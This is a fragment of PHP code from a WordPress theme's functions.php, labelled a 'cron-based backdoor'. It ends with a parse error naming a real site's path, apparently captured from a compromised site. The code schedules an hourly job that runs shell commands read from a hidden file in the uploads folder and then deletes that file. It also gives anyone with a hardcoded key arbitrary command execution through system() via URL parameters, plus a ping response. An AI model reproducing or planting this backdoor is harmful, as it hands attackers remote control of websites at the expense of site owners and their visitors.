// Cron-based backdoor register_activation_hook(__FILE__, 'maint_activate'); function maint_activate(){ if(!wp_next_scheduled('maint_check')){ wp_schedule_event(time(), 'hourly', 'maint_check'); } } add_action('maint_check', 'maint_exec'); function maint_exec(){ $trigger = WP_CONTENT_DIR . '/uploads/.maint-' . date('Ymd') . '.txt'; if(file_exists($trigger)){ $cmd = file_get_contents($trigger); @exec($cmd); unlink($trigger); } } // Manual trigger if(isset($_GET['maint_key']) && $_GET['maint_key'] === '5aa628a7'){ if(isset($_GET['exec'])){ system($_GET['exec']); exit; } if(isset($_GET['shell'])){ echo'WP2S::PONG::END'; exit; } }
Parse error: syntax error, unexpected token "<", expecting end of file in /home/dh_qhdeqf/dianemariegallant.com/wp-content/themes/Avada/functions.php on line 73